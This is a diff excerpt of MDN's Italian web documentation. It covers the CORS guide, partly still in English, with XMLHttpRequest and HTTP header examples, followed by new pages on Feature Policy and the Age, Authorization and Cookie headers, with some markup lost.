Il meccanismo CORS supporta richieste e trasferimenti dati sicuri fra browsers e web servers. I browser moderni usano CORS in container API come XMLHttpRequest o Fetch per aiutare a mitigare i rischi di richieste HTTP cross-origin.

+ +

Chi dovrebbe leggere questo articolo?

+ +

Tutti, davvero.

+ +

Più specificamente, questo articolo è per amministratori web, sviluppatori server side e front end. I browser moderni gestiscono i componenti client della cross-origin sharing, inclusi gli headers e applicazione delle policy. Ma questo nuovo standard richiede che i server gestiscano nuovi headers di richiesta e risposta. Un altro articolo per sviluppator server side che discute la cross-origin sharing da una prospettiva server (con esempi di codice PHP ) è una lettura supplementare.

+ +

Quali tipi di richieste usano CORS?

+ +

Questo cross-origin sharing standard è usato per abilitare richieste HTTP cross-site per:

+ + + +

Questo articolo è una discussione generale sul Cross-Origin Resource Sharing e include una trattazione degli header HTTP necessari.

+ +

Panoramica funzionale

+ +

Lo standard Cross-Origin Resource Sharing funziona aggiungendo nuovi header HTTP che consentono ai server di descrivere l'insieme di origini che sono autorizzate a leggere quelle informazioni tramite un web browser. In aggiunta, per i metodi di richiesta HTTP che possono causare effetti collaterali sui dati del server (in particolare, per i metodi HTTP diversi da {{HTTPMethod("GET")}}, o per l'utilizzo di {{HTTPMethod("POST")}} con determinati MIME types), la specifica prevede che il browser "anticipi" la richiesta (questa operazione è detta "preflight"), richiedendo al server i metodi supportati tramite una richiesta HTTP {{HTTPMethod("OPTIONS")}}, e poi, dopo una "approvazione" del server, invii la richiesta effettiva con il metodo HTTP effettivo. I server possono anche informare i client se delle "credenziali" (inclusi Cookies e dati di autenticazione HTTP) debbano essere inviate insieme alle richieste.

+ +

Gli insuccessi CORS generano degli errori, ma per ragioni di sicurezza, i dettagli riguardo a cosa sia andato male non sono disponibili al codice JavaScript. Tutto ciò che il codice può sapere è che si è verificato un errore. L'unico modo per determinare cosa sia andato male nello specifico è guardare la console del browser per i dettagli.

+ +

Le sezioni successive discutono alcuni scenari, e provvedono un'analisi dettagliata degli header HTTP usati.

+ +

Esempi di scenari di controllo accessi

+ +

Qui presentiamo tre scenari che illustrano come funziona la Cross-Origin Resource Sharing. Tutti questi esempi utilizzano l'oggetto {{domxref("XMLHttpRequest")}}, che può essere usato per creare chiamate cross-site in qualsiasi browser che le supporti.

+ +

Gli spezzoni di codice JavaScript inclusi in queste sezioni (e istanze attive di codice server che gestiscono correttamente queste richieste cross-site) possono essere viste in azione su http://arunranga.com/examples/access-control/, e funzioneranno nei browser che supportano XMLHttpRequest cross-site.

+ +

Una trattazione della Cross-Origin Resource Sharing da una prospettiva server (inclusi spezzoni di codice PHP) si possono trovare nell'articolo Server-Side Access Control (CORS).

+ +

Richieste semplici

+ +

Alcune richieste non scatenano una CORS preflight. Queste sono chiamate “richieste semplici” in questo articolo, anche se la specifica {{SpecName('Fetch')}} (che definisce CORS) non utilizza quel termine. Una richiesta che non scatena una CORS preflight—una cosiddetta “richiesta semplice”—è una richiesta che soddisfa tutte le seguenti condizioni:

+ + + +
Nota:  Queste sono lo stesso tipo di richieste cross-site che il web content può già rilasciare, e nessuna informazione è rilasciata al richiedente a meno che il server mandi un header appropriato. Quindi, siti che impediscono la falsificazione di cross-site request non hanno nulla di nuovo da temere dall controllo di accesso HTTP.
+ +
Nota: WebKit Nightly e Safari Technology Preview pongono restrizioni addizionali sui valori ammessi negli headers {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, e {{HTTPHeader("Content-Language")}}. Se anche solo uno di questi headers hanno valori non-standard, per WebKit/Safari la richiesta non rispetta le condizioni di una "richiesta semplice." Quello che WebKit/Safari considera valori “non-standard” per questi headers non è documentato eccetto nei seguenti bug di Webkit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, e Switch to a blacklist model for restricted Accept headers in simple CORS requests. Nessun altro browser implementa queste restrizioni addizionali, perché queste restrizioni non fanno parte della specifica.
+ +

Per esempio, supponiamo che una pagina web su dominio http://foo.example tenti di accedere a contenuto su dominio http://bar.other. In Javascript, verrebbe scritto un codice simile al seguente in foo.example:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/public-data/';
+
+function callOtherDomain() {
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+
+ +

Tutto ciò porterà ad un semplice scambio di informazioni tra client e server, usando headers CORS per manipolare i privilegi:

+ +

+ +

Vediamo cosa il browser manderà al server in questo caso, e come risponderà il server:

+ +
GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/access-control/simpleXSInvocation.html
+Origin: http://foo.example
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2.0.61
+Access-Control-Allow-Origin: *
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[Dati XML]
+
+ +

Le linee 1 - 10 sono gli header mandati. L'header più importante qui è {{HTTPHeader("Origin")}} alla linea 10, che mostra che l'invocazione origina dal dominio http://foo.example.

+ +

Le linee 13 - 22 mostrano la risposta HTTP dal server al dominio http://bar.other. In risposta, il server manda un header {{HTTPHeader("Access-Control-Allow-Origin")}} mostrato nella linea 16. L'uso dell'header {{HTTPHeader("Origin")}} e {{HTTPHeader("Access-Control-Allow-Origin")}} dimostrano il protocollo di controllo accesso nella sua forma più semplice. In questo caso, il server risponde con Access-Control-Allow-Origin: * il che significa che la risorsa può essere acceduta da qualsiasi dominio. Se i proprietary della risorsa su http://bar.other vogliono restringere accesso alla risorsa alle sole richieste provenienti da http://foo.example, risponderebbero con:

+ +

Access-Control-Allow-Origin: http://foo.example

+ +

Nota che ora, nessun dominio a parte http://foo.example (identificato dall'header ORIGIN: nella richiesta, come nella linea 10) può accedere alla risorsa in maniera cross-site. L'header Access-Control-Allow-Origin deve contenere il valore che è stato mandato nell'header Origin della richiesta.

+ +

Richieste in preflight

+ +

Al contrario delle "richieste semplici" discusse sopra, le richieste "in preflight" (anticipate) mandano prima una richiesta HTTP tramite il metodo {{HTTPMethod("OPTIONS")}} alla risorsa nell'altro dominio, per determinare se la richiesta vera e propria è sicura. Richieste cross-site vengono anticipate in questo modo perché potrebbero avere implicazioni per la sicurezza dei dati utenti.

+ +

In particolare, una richiesta è anticipate se anche solo una delle seguenti condizioni è vera:

+ + + +
Note: WebKit Nightly e Safari Technology Preview pongono ulteriori restrizioni sul valori ammessi negli header {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, e {{HTTPHeader("Content-Language")}}. Se anche solo uno di questi headers ha un valore non-standard, WebKit/Safari effettua la richiesta in preflight. Quello che WebKit/Safari considerano valori “non-standard” non è documentato eccetto nei seguenti bug di WebKit: Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language, Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS, e Switch to a blacklist model for restricted Accept headers in simple CORS requests. Nessun altro browser implementa questa restrizioni aggiuntive, perché non sono parte della specifica.
+ +

Il seguente è un esempio di una richiesta che verrà effettuata in preflight.

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/post-here/';
+var body = '<?xml version="1.0"?><person><name>Arun</name></person>';
+
+function callOtherDomain(){
+  if(invocation)
+    {
+      invocation.open('POST', url, true);
+      invocation.setRequestHeader('X-PINGOTHER', 'pingpong');
+      invocation.setRequestHeader('Content-Type', 'application/xml');
+      invocation.onreadystatechange = handler;
+      invocation.send(body);
+    }
+}
+
+......
+
+ +

Nell'esempio sopra, la linea 3 crea un corpo XML che viene mandato con una richiesta POST alla linea 8. Nella linea 9 viene specificato un header "non-standard" (X-PINGOTHER: pingpong). Questi headers non fanno parte del protocollo HTTP/1.1, ma sono utili per applicazioni web. La richiesta è eseguita in preflight perché usa un Content-Type di application/xml e la richiesta usa un header non-standard.

+ +

+ +

(Nota: come descritto sopra, la richiesta POST non include gli header Access-Control-Request-*; questi sono necessari solo per le richieste OPTIONS.)

+ +

Diamo un'occhiata allo scambio complete tra client e server. Il primo scambio è la richiesta e risposta in preflight:

+ +
OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 0
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+ +

Quando la richiesta in preflight è completa, la richiesta vera e propria viene mandata:

+ +
POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: http://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: http://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+<?xml version="1.0"?><person><name>Arun</name></person>
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2.0.61 (Unix)
+Access-Control-Allow-Origin: http://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Payload compresso con GZIP]
+
+ +

Le linee 1 - 12 sopra rappresentano le richieste in preflight con il metodo {{HTTPMethod("OPTIONS")}}. Il browser determina che deve mandare questo in base ai parametri della prima richiesta. OPTIONS è un metodo HTTP/1.1 usato per ricevere informazioni aggiuntive dal server ed è un metodo "safe" (non può cambiare la risorsa). Oltre alla richiesta OPTIONS vengono mandate altre due richieste (linee 10 e 11):

+ +
Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+ +

L'header {{HTTPHeader("Access-Control-Request-Method")}} notifica il server che la richiesta vera e propria verrà mandata con un metodo POST. L'header {{HTTPHeader("Access-Control-Request-Headers")}} dice al server che verrà mandata con gli header personalizzati X-PINGOTHER e Content-Type. Ora il server può determinare se vuole accettare una richiesta in queste circostanze.

+ +

Le linee 14-26 sono la risposta e indicano che il metodo richiesta (POST) e gli headers (X-PINGOTHER) sono accettabili. In particolare, vediamo le linee 17-20:

+ +
Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+ +

Il server risponde con Access-Control-Allow-Methods e dice che POST e GET possono essere usati per accedere alla risorsa. Questo header è simile a {{HTTPHeader("Allow")}} ma è usato solo nel contesto del controllo d'accesso.

+ +

The server also sends Access-Control-Allow-Headers with a value of "X-PINGOTHER, Content-Type", confirming that these are permitted headers to be used with the actual request. Like Access-Control-Allow-Methods, Access-Control-Allow-Headers is a comma separated list of acceptable headers.

+ +

Finally, {{HTTPHeader("Access-Control-Max-Age")}} gives the value in seconds for how long the response to the preflight request can be cached for without sending another preflight request. In this case, 86400 seconds is 24 hours. Note that each browser has a maximum internal value that takes precedence when the Access-Control-Max-Age is greater.

+ +

Preflighted requests and redirects

+ +

Not all browsers currently support following redirects after a preflighted request. If a redirect occurs after a preflighted request, some browsers currently will report an error message such as the following.

+ +
+

The request was redirected to 'https://example.com/foo', which is disallowed for cross-origin requests that require preflight

+
+ +
+

Request requires preflight, which is disallowed to follow cross-origin redirect

+
+ +

The CORS protocol originally required that behavior but was subsequently changed to no longer require it. However, not all browsers have implemented the change, and so still exhibit the behavior that was originally required.

+ +

So until all browsers catch up with the spec, you may be able to work around this limitation by doing one or both of the following:

+ + + +

But if it’s not possible to make those changes, then another way that may be possible is to this:

+ +
    +
  1. Make a simple request (using {{domxref("Response.url")}} for the Fetch API, or {{domxref("XMLHttpRequest.responseURL")}}) to determine what URL the real preflighted request would end up at.
  2. +
  3. Make another request (the “real” request) using the URL you obtained from Response.url or XMLHttpRequest.responseURL in the first step.
  4. +
+ +

However, if the request is one that triggers a preflight due to the presence of the Authorization header in the request, you won’t be able to work around the limitation using the steps above. And you won’t be able to work around it at all unless you have control over the server the request is being made to.

+ +

Requests with credentials

+ +

The most interesting capability exposed by both {{domxref("XMLHttpRequest")}} or Fetch and CORS is the ability to make "credentialed" requests that are aware of HTTP cookies and HTTP Authentication information. By default, in cross-site XMLHttpRequest" or Fetch invocations, browsers will not send credentials. A specific flag has to be set on the XMLHttpRequest" object or the {{domxref("Request")}} constructor when it is invoked.

+ +

In this example, content originally loaded from http://foo.example makes a simple GET request to a resource on http://bar.other which sets Cookies. Content on foo.example might contain JavaScript like this:

+ +
var invocation = new XMLHttpRequest();
+var url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain(){
+  if(invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}
+ +

Line 7 shows the flag on {{domxref("XMLHttpRequest")}} that has to be set in order to make the invocation with Cookies, namely the withCredentials boolean value. By default, the invocation is made without Cookies. Since this is a simple GET request, it is not preflighted, but the browser will reject any response that does not have the {{HTTPHeader("Access-Control-Allow-Credentials")}}: true header, and not make the response available to the invoking web content.

+ +

+ +

Here is a sample exchange between client and server:

+ +
GET /resources/access-control-with-credentials/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2.0.61 (Unix) PHP/4.4.7 mod_ssl/2.0.61 OpenSSL/0.9.7e mod_fastcgi/2.4.2 DAV/2 SVN/1.4.2
+X-Powered-By: PHP/5.2.6
+Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]
+
+ +

Although line 11 contains the Cookie destined for the content on http://bar.other, if bar.other did not respond with an {{HTTPHeader("Access-Control-Allow-Credentials")}}: true (line 19) the response would be ignored and not made available to web content.

+ +

Credentialed requests and wildcards

+ +

When responding to a credentialed request, the server must specify an origin in the value of the Access-Control-Allow-Origin header, instead of specifying the "*" wildcard.

+ +

Because the request headers in the above example include a Cookie header, the request would fail if the value of the Access-Control-Allow-Origin header were "*". But it does not fail: Because the value of the Access-Control-Allow-Origin header is "http://foo.example" (an actual origin) rather than the "*" wildcard, the credential-cognizant content is returned to the invoking web content.

+ +

Note that the Set-Cookie response header in the example above also sets a further cookie. In case of failure, an exception—depending on the API used—is raised.

+ +

Third-party cookies

+ +

Note that cookies set in CORS responses are subject to normal third-party cookie policies. In the example above, the page is loaded from foo.example, but the cookie on line 22 is sent by bar.other, and would thus not be saved if the user has configured their browser to reject all third-party cookies.

+ +

The HTTP response headers

+ +

This section lists the HTTP response headers that servers send back for access control requests as defined by the Cross-Origin Resource Sharing specification. The previous section gives an overview of these in action.

+ +

Access-Control-Allow-Origin

+ +

A returned resource may have one {{HTTPHeader("Access-Control-Allow-Origin")}} header, with the following syntax:

+ +
Access-Control-Allow-Origin: <origin> | *
+
+ +

Access-Control-Allow-Origin specifies either a single origin, which tells browsers to allow that origin to access the resource; or else — for requests without credentials — the "*" wildcard, to tell browsers to allow any origin to access the resource.

+ +

For example, to allow code from the origin http://mozilla.org to access the resource, you can specify:

+ +
Access-Control-Allow-Origin: http://mozilla.org
+ +

If the server specifies a single origin rather than the "*" wildcard, then the server should also include Origin in the {{HTTPHeader("Vary")}} response header — to indicate to clients that server responses will differ based on the value of the {{HTTPHeader("Origin")}} request header.

+ +

Access-Control-Expose-Headers

+ +

The {{HTTPHeader("Access-Control-Expose-Headers")}} header lets a server whitelist headers that browsers are allowed to access. For example:

+ +
Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header
+
+ +

This allows the X-My-Custom-Header and X-Another-Custom-Header headers to be exposed to the browser.

+ +

Access-Control-Max-Age

+ +

The {{HTTPHeader("Access-Control-Max-Age")}} header indicates how long the results of a preflight request can be cached. For an example of a preflight request, see the above examples.

+ +
Access-Control-Max-Age: <delta-seconds>
+
+ +

The delta-seconds parameter indicates the number of seconds the results can be cached.

+ +

Access-Control-Allow-Credentials

+ +

The {{HTTPHeader("Access-Control-Allow-Credentials")}} header Indicates whether or not the response to the request can be exposed when the credentials flag is true. When used as part of a response to a preflight request, this indicates whether or not the actual request can be made using credentials. Note that simple GET requests are not preflighted, and so if a request is made for a resource with credentials, if this header is not returned with the resource, the response is ignored by the browser and not returned to web content.

+ +
Access-Control-Allow-Credentials: true
+
+ +

Credentialed requests are discussed above.

+ +

Access-Control-Allow-Methods

+ +

The {{HTTPHeader("Access-Control-Allow-Methods")}} header specifies the method or methods allowed when accessing the resource. This is used in response to a preflight request. The conditions under which a request is preflighted are discussed above.

+ +
Access-Control-Allow-Methods: <method>[, <method>]*
+
+ +

An example of a preflight request is given above, including an example which sends this header to the browser.

+ +

Access-Control-Allow-Headers

+ +

The {{HTTPHeader("Access-Control-Allow-Headers")}} header is used in response to a preflight request to indicate which HTTP headers can be used when making the actual request.

+ +
Access-Control-Allow-Headers: <field-name>[, <field-name>]*
+
+ +

The HTTP request headers

+ +

This section lists headers that clients may use when issuing HTTP requests in order to make use of the cross-origin sharing feature. Note that these headers are set for you when making invocations to servers. Developers using cross-site {{domxref("XMLHttpRequest")}} capability do not have to set any cross-origin sharing request headers programmatically.

+ +

Origin

+ +

The {{HTTPHeader("Origin")}} header indicates the origin of the cross-site access request or preflight request.

+ +
Origin: <origin>
+
+ +

The origin is a URI indicating the server from which the request initiated. It does not include any path information, but only the server name.

+ +
Note: The origin can be the empty string; this is useful, for example, if the source is a data URL.
+ +

Note that in any access control request, the {{HTTPHeader("Origin")}} header is always sent.

+ +

Access-Control-Request-Method

+ +

The {{HTTPHeader("Access-Control-Request-Method")}} is used when issuing a preflight request to let the server know what HTTP method will be used when the actual request is made.

+ +
Access-Control-Request-Method: <method>
+
+ +

Examples of this usage can be found above.

+ +

Access-Control-Request-Headers

+ +

The {{HTTPHeader("Access-Control-Request-Headers")}} header is used when issuing a preflight request to let the server know what HTTP headers will be used when the actual request is made.

+ +
Access-Control-Request-Headers: <field-name>[, <field-name>]*
+
+ +

Examples of this usage can be found above.

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Fetch', '#cors-protocol', 'CORS')}}{{Spec2('Fetch')}}New definition; supplants W3C CORS specification.
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Access-Control-Allow-Origin")}}

+ +

Compatibility notes

+ + + +

See also

+ + + +
{{HTTPSidebar}}
diff --git a/files/it/web/http/feature_policy/index.html b/files/it/web/http/feature_policy/index.html new file mode 100644 index 0000000000..921233b391 --- /dev/null +++ b/files/it/web/http/feature_policy/index.html @@ -0,0 +1,161 @@ +--- +title: Feature Policy +slug: Web/HTTP/Feature_Policy +translation_of: Web/HTTP/Feature_Policy +--- +
{{HTTPSidebar}}
+ +

La Funzionalità di policy consente agli sviluppatori web di abilitare, disabilitare e modificare il comportamento di certe funzionalità e API all'interno del browser . E' simile a  {{Glossary("CSP", "Content Security Policy")}} ma controlla le funzionalità anzichè il comportamento di sicurezza.

+ +
+

The Feature-Policy l'intestazione è stata rinominata in Permissions-Policy nella specifica, ed eventualmente questo articolo verrà aggiornato per riflettere tale modifica.

+
+ +

In poche parole

+ +

Feature Policy(politiche sulla funzionalità) fornisce un metodo per dichiarare esplicitamente quale funzione viene utilizzata(o non utilizzata) in tutto il sito web. Ciò permette di mantenere le migliori condizioni applicative, anche se la base del codice evolve nel tempo — come nel caso dell'utilizzo più sicuro di contenuti di terze parti — limitandosi alle funzionalità disponibili.

+ +

Con le Feature Policy, ti rivolgi ad un insieme di "politiche" affinchè il browser applichi funzionalità specifiche utilizzate nel sito web. Queste politiche limitano le API a cui il sito può accedere o modificare il comportamento predefinito del browser per alcune funzionalità.

+ +

Esempi di quello che puoi fare con le Feature Policy:

+ + + +

Concetti e utilizzo

+ +

Le Feature Policy permettono di controllare quali origini possono usare le funzionalità, sia nella pagina di primo livello che nei frame incorporati. In sostanza, scrivere una policy, che è un elenco autorizzato di origini per ciascuna funzionalità. per ogni funzionalità controllata dalle Feature Policy, la funzionalità è abilitata solamente nel documento o frame corrente se la sua origine corrisponde all'elenco di origini autorizzate.

+ +

Per ognuna delle funzionalità controllata dalle policy, il browser conserva un elenco di origini per la quale la funzionalità è abilitata, è noto come allowlist(elenco consentito). Se non specifichi una policy per una funzionalità, verrà utilizzato un elenco di autorizzazioni predefinito. L'elenco predefinito è specifico per ciascuna funzionalità.

+ +

Scrivere una Politica

+ +

Una politica viene descritta utilizzando una serie di direttive politiche individuali. Una direttiva politica è una combinazione di un nome di una funzionalità definita e un elenco di origini consentite che possono utilizzare la funzionalità.

+ +

Specificare la tua politica

+ +

 Le Feature Policy offrono due modi per specificare le politiche per controllare le funzionalità:

+ + + +

La differenza principale tra intestazione HTTP e l'attributo allow è che l'attributo allow controlla solo le funzionalità all'interno di un iframe. L'intestazione controlla caratteristiche della risposta e qualsiasi contenuto incorporato nella pagina.

+ +

Per maggiori dettagli guardare Using Feature Policy.

+ +

Inferring the policy

+ +

Gli script possono eseguire query in modo da ottenere delle informazioni sulle policy delle funzionalità tramite:

+ +

{{DOMxRef("FeaturePolicy")}} situato in  {{DOMxRef("Document.featurePolicy")}} o {{DOMxRef("HTMLIFrameElement.featurePolicy")}}.

+ +

Tipi di funzionalità controllate da criteri

+ +

Sebbene le Feature Policy forniscano il controllo di più funzionalità utilizzando una sintassi coerente, il comportamento delle funzionalità controllate dalle politiche varia, e dipende da diversi fattori.

+ +

Il principio generale è che dovrebbe esserci un modo intuitivo o univoco per gli sviluppatori web di rilevare o gestire il caso in cui la funzione è disablitata. Le nuove funzionalità introdotte possono avere un'API esplicita per segnalare lo stato. Le funzionalità esistenti che successivamente si integrano con le Feature Policy utilizzeranno in genere i meccanismi esistenti. Alcuni metodi includono:

+ + + +

L'attuale insieme di funzionalità gestite dalle politiche si dividono in due grandi gruppi:

+ + + +

Le abitudini migliori per una buona esperienza utente

+ +

Sono disponibili diverse funzionalità controllate da criteri per applicare le migliori pratiche per fornire una buone prestazioni e esperienze utente.

+ +

Nella maggior parte dei casi le funzionalità controllate dai criteri, rappresentano funzionalità che, se utilizzate, avranno un impatto negativo sull'esperienza utente. Per evitare di interropere il contenuto web esistente, l'impostazione predefinita per tali funzionalità, è consentirne l'utilizzo da parte di tutte le origini. Le procedure consigliate quindi, vengono applicate utilizzando criteri che disabilitano la funzionalità di altri criteri. Per ulteriori dettagli vedere "Enforcing best practices for good user experiences".

+ +

Le funzionalità includono:

+ + + +

Controllo granulare su alcune funzionalità

+ +

Il Web fornisce funzionalità e API che potrebbero comportare rischi per la privacy o la sicurezza se utilizzati in modo improprio. In alcuni casi potresti voler limitare il modo in cui questa funzionalità viene utilizzata su un sito web. Esistono funzionalità controllate da criteri per consentire l'abilitazione/disabilitazione della funzionalità per origini o frame specifici all'iterno di un sito web. Dove disponibile la funzionalità si integra con l'API di autorizzazione o con i meccanismi specifici di funzionalità per verificare se la funzione è disponibile.

+ +

Le funzionalità includono (guarda Features list):

+ + + +

Examples

+ + + +

Specifiche

+ + + + + + + + + + + + + + +
SpecificaStatoCommento
{{SpecName("Feature Policy","#feature-policy-http-header-field","Feature-Policy")}}{{Spec2("Feature Policy")}}Definizione iniziale. Definisce l'intestazione {{httpheader("Feature-Policy")}} . LE direttive sono definite nelle specifiche per le funzionalità che controllano. Vedere le pagine delle singole direttive per i dettagli.
+ +

Browser compatibility

+ + + +

{{Compat("http.headers.Feature-Policy")}}

+ +

Guarda anche:

+ + diff --git a/files/it/web/http/headers/age/index.html b/files/it/web/http/headers/age/index.html new file mode 100644 index 0000000000..5a4f1d20c3 --- /dev/null +++ b/files/it/web/http/headers/age/index.html @@ -0,0 +1,69 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +translation_of: Web/HTTP/Headers/Age +--- +
{{HTTPSidebar}}
+ +

L'header Age contiene il tempo in secondi di presenza dell'oggetto nella cache del proxy.

+ +

L'header Age è solitamente prossimo allo zero. Se è Age: 0, è stato probabilmente da poco reperito dal server di origine; altrimenti viene calcolato come la differenza tra la data corrente del proxy e l' {{HTTPHeader("Date")}} header incluso nella risposta HTTP.

+ + + + + + + + + + + + +
Header type{{Glossary("Response header")}}
{{Glossary("Forbidden header name")}}no
+ +

Sintassi

+ +
Age: <delta-seconds>
+
+ +

Direttive

+ +
+
<delta-seconds>
+
+

Un intero non negativo, che rappresenta il tempo in secondi di presenza dell'oggetto nella cache del proxy.

+
+
+ +

Esempi

+ +
Age: 24
+ +

Specifiche

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7234", "Age", "5.1")}}Hypertext Transfer Protocol (HTTP/1.1): Caching
+ +

Compatibilità Browser

+ + + +

{{Compat("http.headers.Age")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/authorization/index.html b/files/it/web/http/headers/authorization/index.html new file mode 100644 index 0000000000..0b732b40a2 --- /dev/null +++ b/files/it/web/http/headers/authorization/index.html @@ -0,0 +1,88 @@ +--- +title: Authorization +slug: Web/HTTP/Headers/Authorization +tags: + - Riferimenti +translation_of: Web/HTTP/Headers/Authorization +--- +
{{HTTPSidebar}}
+ +

La richiesta header HTTP Authorization contiene le credenziali per autenticare un utente con il server, solitamente dopo che il server ha risposto con {{HTTPStatus("401")}} Unauthorized status e con un header {{HTTPHeader("WWW-Authenticate")}} .

+ + + + + + + + + + + + +
Tipo Header{{Glossary("richiesta header")}}
{{Glossary("Header name proibito")}}no
+ +

Sintassi

+ +
Authorization: <tipo> <credenziali>
+ +

Direttive

+ +
+
<tipo>
+
Tipo di autenticazione. Un tipo comune è "Basic". Altri tipi sono: + +
+
<credenziali>
+
Se viene usato il tipo di autenticazione "Basic" le credenziali sono formate in questo modo: +
    +
  • Lo username e la password sono combinate con il simbolo dei due punti (aladdin:opensesame).
  • +
  • La stringa risultante è codificata in base64 (YWxhZGRpbjpvcGVuc2VzYW1l).
  • +
+ +
+

Note: La codifica Base64 non significa che venga effettuato un hash o una cifratura! Questo metodo è sicuro tanto quanto mandare le credenziali in chiaro (base64 è un codifica reversibile). Preferibilmente usa la Basic Authentication assieme al protocollo HTTPS.

+
+
+
+ +

Esempi

+ +
Authorization: Basic YWxhZGRpbjpvcGVuc2VzYW1l
+
+ +

Guarda anche HTTP authentication per esempi su come configurare i server Apache o nginx con password per proteggere i tuoi siti con l'autenticazione HTTP.

+ +

Specifiche

+ + + + + + + + + + + + + + + + + + +
SpecificationTitle
{{RFC("7235", "Authorization", "4.2")}}HTTP/1.1: Authentication
{{RFC("7617")}}The 'Basic' HTTP Authentication Scheme
+ +

Vedi anche

+ + diff --git a/files/it/web/http/headers/cookie/index.html b/files/it/web/http/headers/cookie/index.html new file mode 100644 index 0000000000..b89fc207fd --- /dev/null +++ b/files/it/web/http/headers/cookie/index.html @@ -0,0 +1,74 @@ +--- +title: Cookie +slug: Web/HTTP/Headers/Cookie +tags: + - Cookies + - Guida + - HTTP + - header + - richiesta +translation_of: Web/HTTP/Headers/Cookie +--- +
{{HTTPSidebar}}
+ +

Cookie è un'header di richiesta HTTP che contiene i cookie HTTP memorizzati, precedentemente inviati dal server tramite l'header {{HTTPHeader("Set-Cookie")}}.

+ +

L' header Cookie è opzionale e può essere omesso, per esempio, se le impostazioni di privacy del browser bloccano i cookie.

+ + + + + + + + + + + + +
Tipo header{{Glossary("Request header")}}
